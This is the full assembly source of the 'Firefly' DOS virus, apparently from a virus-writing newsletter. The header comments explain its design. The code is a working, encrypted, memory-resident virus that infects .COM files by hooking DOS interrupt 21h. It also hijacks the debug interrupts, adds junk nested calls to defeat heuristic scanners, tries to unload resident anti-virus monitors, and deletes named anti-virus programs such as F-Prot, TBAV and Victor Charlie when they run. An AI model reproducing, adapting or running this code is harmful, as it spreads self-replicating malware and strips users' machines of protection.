;FIREFLY virus, by Nikademus. ; ;Firefly is an encrypted, memory resident virus which infects ;.COMfiles on load. It incorporates code from Proto-T, ;LokJaw and YB-X viruses and, when in memory, attacks a large selection ;of anti-virus programs as they are executed. Anti-virus programs ;identified by Firefly's execute/load handler are deleted. ;Firefly incorporates simple code from previous issues of the newsletter ;designed to de-install generic VSAFE resident virus activity ;filters designed for Microsoft by Central Point Software. It ;contains instructions - specifically a segment of pseudo-nested ;loops - which spoof F-Protect's expert system generic virus ;identification feature. ; ;FIREFLY also includes a visual marker tied to the system timer ;tick interrupt (1Ch) which slowly cycles the NumLock, CapsLock ;and ScrollLock LEDs on the keyboard. This produces a noticeable ;twinkling effect when the virus is active on a machine. ; ;Anti-anti-virus measures used by Firefly vary in effectiveness ;dependent upon how a user employs software. For example, while ;Firefly is designed to delete the Victor Charlie anti-virus ;shell, VC.EXE, a user who employs the software packages utilities ;for generic virus detection singly, will not be interfered with ;by the virus. Your results may vary, but the virus does effectively ;delete anti-virus programs while in memory unless steps are taken ;beforehand to avoid this. ; ;Firefly incorporates minor code armoring techniques designed to thwart ;trivial debugging. .radix 16 code segment model small assume cs:code, ds:code, es:code org 100h len equ offset last - start vir_len equ len / 16d ; 16 bytes per paragraph encryptlength equ (last - begin)/4+1 start: mov bx, offset begin ; The Encryption Head mov cx, encryptlength ; encryption_loop: ; db 81h ; XOR WORD PTR [BX], ????h db 37h ; encryption_value_1: ; dw 0000h ; ; db 81h ; XOR WORD PTR [BX+2], ????h db 77h ; db 02h ; 2 different random words encryption_value_2: ; give 32-bit encryption dw 0000h ; add bx, 4 ; loop encryption_loop ; begin: jmp virus db '[Firefly] By Nikademus $' db 'Greetings to Urnst Kouch and the CRYPT staff. $' virus: call bp_fixup ; bp fixup to determine bp_fixup: ; locations of data pop bp ; with respect to the new sub bp, offset bp_fixup ; host Is_I_runnin: call screw_fprot ; screwing call screw_fprot ; heuristic scanning call screw_fprot ; call screw_fprot ; call screw_fprot ; call screw_fprot ; call screw_fprot ; call screw_fprot ; call screw_fprot ; call screw_fprot ; push ds push es mov ax,2C2Ch ; int 21h ; call to see if runnin cmp ax, 0FFFh ; am i resident? jne cut_hole ; fix_victim: pop es ; replace victims 3 bytes pop ds ; mov di,050h ; stops one of SCAN's add di,0B0h ; generic scan attempts lea si, ds:[vict_head + bp] ; (scan only worked on mov cx, 03h ; unencrypted copies rep movsb ; regardless) Bye_Bye: mov bx, 100h ; jump to 100h jmp bx ; (start of victim) cut_hole: mov dx, 5945h ; pull CPAV (MSAV) mov ax, 64001d ; out of memory int 16h ; (This also screws with ; TBCLEAN ???????) call screw_fprot ; more screwing of call screw_fprot ; heuristic scanning call screw_fprot ; call screw_fprot ; call screw_fprot ; call screw_fprot ; mov bx,cs ; reduce memory size dec bx ; mov ds,bx ; cmp byte ptr ds:[0000],5a ; jne fix_victim ; mov bx,ds:[0003] ; sub bx, 100h ; # of 16byte paragraphs mov ds:0003,bx ; to grab (4k) Zopy_me: xchg bx, ax ; copy self to the new mov bx, es ; 'unused' part of memory add bx, ax ; mov es, bx ; mov cx,len ; mov ax,ds ; inc ax ; mov ds,ax ; lea si,ds:[offset start+bp] ; lea di,es:0100 ; rep movsb ; Hookroutines: ; interrupt manipulation (Happy!, Happy!) xor ax, ax ; (Joy!, Joy!) mov ds, ax push ds ; push 0000h lds ax, ds:[1Ch*4] mov word ptr es:old_1Ch, ax ; save 1C mov word ptr es:old_1Ch+2, ds pop ds push ds lds ax, ds:[21h*4] ; get int 21h mov word ptr es:old_21h, ax ; save 21 mov word ptr es:old_21h+2, ds mov bx, ds ; bx = ds pop ds mov word ptr ds:[1h*4], ax ; put int 21h into 1 and 3 mov word ptr ds:[1h*4+2], bx ; this should screw mov word ptr ds:[3h*4], ax ; most debuggers mov word ptr ds:[3h*4+2], bx mov word ptr ds:[21h*4], offset Firefly ; put self in 21 mov ds:[21h*4+2], es ; mov ds:[1Ch*4+2], es mov word ptr ds:[1Ch*4], offset Lights ; hook 1C jmp fix_victim Lights: ; keyboard lights changer... ; found in NIKTRKS1.ZIP push ax ; save these push bx ; push cx ; push dx ; push si ; push di ; push ds ; push es ; push cs pop ds push cs pop es cmp [click], 63d ; after 63 clicks je one cmp [click], 126d ; after 126 clicks je two cmp [click], 189d ; after 189 clicks je three cmp [click], 0ffh ; have we counted to 255? je clear inc [click] ; increase click count jmp endme clear: mov [click], 00h ; clear click count mov ax, 40h mov ds, ax mov bx, 17h ; ds:bx = location o' flags and byte ptr [bx],0 ; clear keyboard flag(s) jmp endme one: inc [click] mov ax, 40h mov ds, ax mov bx, 17h mov byte ptr [bx],20h ; set numlock flag jmp endme two: inc [click] mov ax, 40h mov ds, ax mov bx, 17h mov byte ptr [bx],40h ; set caps lock flag jmp endme three: inc [click] mov ax, 40h mov ds, ax mov bx, 17h mov byte ptr [bx],10h ; set scroll lock flag endme: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax jmp dword ptr cs:[old_1Ch] ; Go to old int 1Ch db 'Psalm 69' screw_fprot: jmp $ + 2 ; Nested calls to confuse call screw2 ; f-protect's heuristic call screw2 ; analysis call screw2 ; call screw2 ; call screw2 ; ret ; screw2: ; jmp $ + 2 ; call screw3 ; call screw3 ; call screw3 ; call screw3 ; call screw3 ; ret ; screw3: ; jmp $ + 2 ; call screw4 ; call screw4 ; call screw4 ; call screw4 ; call screw4 ; ret ; screw4: ; jmp $ + 2 ; ret ; db 'Every day is Halloween' Firefly: pushf ; Am I checking if cmp ax,2c2ch ; I am resident? jne My_21h ; mov ax,0FFFh ; If so, return popf ; 0FFFh in AX iret ; My_21h: push ax ; save these push bx ; push cx ; push dx ; push si ; push di ; push ds ; push es ; check_for_proper_calls: cmp ah, 4Bh ; executed? je chk_com cmp ah, 3Dh ; open? je chk_com cmp ah, 43h ; attribs? je chk_com cmp ah, 6Ch ; extended open? je extended notforme: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax popf jmp dword ptr cs:[old_21h] ; The End db 'Happiness in Slavery' extended: mov dx, si ; now a normal open chk_com: mov word ptr cs:victim_name,dx mov word ptr cs:victim_name+2,ds cld mov di,dx push ds pop es mov al,'.' ; find the period repne scasb ; call avtest cmp ax, 00ffh ; WAS the program an AV? je notforme cmp word ptr es:[di],'OC' ; is i a .(CO)M? jne notforme Grab_24: ; hook interrupt 24 push ds ; by direct writes to push dx ; interrupt vector xor ax, ax ; table mov ds, ax ; mov dx, offset new_24h ; mov word ptr ds:[24h*4], dx ; mov word ptr ds:[24h*4+2], es ; pop dx pop ds open_victim: push cs pop es lds dx, cs:victim_name ; get and save attributes mov ax, 4300h ; int 3h ; jc notforme ; error handler push cx ; push ds ; push dx mov ax, 4301h ; clear attribs xor cx, cx ; int 1h ; jc notforme mov ax,3D02h ; open victim lds dx, cs:victim_name ; int 3h ; jc notforme ; error handler push cs ; pop ds ; xchg ax, bx ; put handle in proper place get_date: ; get and save date ; and time mov ax,5700h int 3h push cx ; save time push dx ; save date check_forme: mov ah,3fh ; read 1st 3 bytes mov cx,03h ; mov dx,offset vict_head ; int 1h mov ax, 4202h ; point to end xor cx, cx ; xor dx, dx ; int 3h ; mov cx, word ptr [vict_head+1] ; possible jump location add cx, last-start+3 ; cmp ax, cx ; already infected? jz save_date ; push ax get_random: mov ah, 2Ch ; dx and (cx-dx) int 3h ; will be to two or dx, dx ; encryption values jz get_random ; write_virus: mov word ptr [offset encryption_value_1], dx mov word ptr [offset e_value_1], dx sub cx, dx mov word ptr [offset encryption_value_2], cx mov word ptr [offset e_value_2], cx pop ax mov si, ax ; fix BX offset in head add si, ((offset begin-offset start)+100h) mov word ptr [offset start+1], si mov si, offset start ; copy virus to buffer mov di, offset encryptbuffer ; mov cx, last-start ; rep movsb ; sub ax, 03h ; construct jump mov word ptr [offset new_jump+1], ax ; mov dl, 0E9h ; mov byte ptr [offset new_jump], dl ; Encryptvirus_in_buffer: push bx ; encrypt copy mov bx, offset ((begin-start)+encryptbuffer) ; in encrypt- mov cx, encryptlength ; buffer e_loop: ; db 81h ; XOR [bx] db 37h ; e_value_1: ; dw 0000h ; scrambler #1 db 81h ; XOR [bx+2] db 77h ; db 02h ; e_value_2: ; dw 0000h ; scrambler #2 add bx, 4 ; loop e_loop ; loop pop bx mov ah, 40h ; write virus mov cx, last-start ; mov dx, offset encryptbuffer ; int 1h ; mov ax, 4200h ; point to front xor cx, cx ; xor dx, dx ; int 1h ; mov ah, 40h ; write jump mov dx, offset new_jump ; mov cx, 03h ; int 3h ; save_date: pop dx ; Date pop cx ; Time mov ax,5701h ; int 1h ; close_file: ; mov ah,03Eh ; Close file and restore int 3h ; attribs mov ax, 4301h ; pop dx ; pop ds ; This is the end... pop cx ; My only friend, The End. int 3h ; - Jim Morrison jmp notforme ; new_24h: mov al,3 ; Critical Error (Mis)handler iret ; db 'The land of Rape and Honey' ; This area is the "intelligence" of Firefly ; It looks for known AV names which it then deletes. ; So it sort of shuts down the computers "immune system" avtest: cmp word ptr es:[di-3],'MI' ;Integrity Master je AV ;*IM cmp word ptr es:[di-3],'XR' ;*rx je AV ; cmp word ptr es:[di-3],'PO' ;*STOP jne next1 ;(VIRSTOP) cmp word ptr es:[di-5],'TS' ; je AV ; next1: cmp word ptr es:[di-3],'VA' ;*AV i.e. cpav je AV_Detected ;(TBAV) (MSAV) cmp word ptr es:[di-3],'TO' ;*prot f-prot jne next2 ; cmp word ptr es:[di-5],'RP' ; jne next2 ; AV: jmp AV_Detected ; must be equal next2: cmp word ptr es:[di-3],'NA' ;*scan McAffee's jne next3 ;(TBSCAN) cmp word ptr es:[di-5],'CS' ; je AV_Detected ; cmp word ptr es:[di-3],'NA' ;*lean CLEAN.. jne next3 ; why not eh? cmp word ptr es:[di-5],'EL' ;(TBCLEAN) je AV_Detected ; next3: cmp word ptr es:[di-3],'CV' ; Victor Charlie je AV_Detected ; default *VC cmp word ptr es:[di-3],'KC' ; VCHECK jne next4 ; (Victor Charlie) cmp word ptr es:[di-5],'EH' ; (TBCHECK) *HECK je AV_Detected ; next4: cmp word ptr es:[di-3],'ME' ; TBMEM jne next5 ; *BMEM cmp word ptr es:[di-5],'MB' ; je AV_Detected ; next5: cmp word ptr es:[di-3],'XN' ; TBSCANX jne next6 ; *CANX cmp word ptr es:[di-5],'AC' ; je AV_Detected ; next6: cmp word ptr es:[di-3],'EL' ; TBFILE jne next7 ; *FILE cmp word ptr es:[di-5],'IF' ; je AV_Detected ; next7: ret AV_Detected: mov ds, word ptr cs:[victim_name + 2] ; The Victim mov dx, word ptr cs:[victim_name] mov ax, 4301h ; Clear it's attribs mov cx, 00h ; int 1h mov ah, 41h ; Delete It. int 3h ; ret ; db 'Its Dead Jim' vict_head db 090h, 0cdh, 020h ; 3 bytes of storage old_21h dw 00h,00h ; int 21 storage old_1Ch dw 00h,00h click db 00h last: ; The heap........ junk not needed in main program victim_name dd ? new_jump db 090h, 090h, 090h encryptbuffer db (last-start)+1 dup (?) code ends end start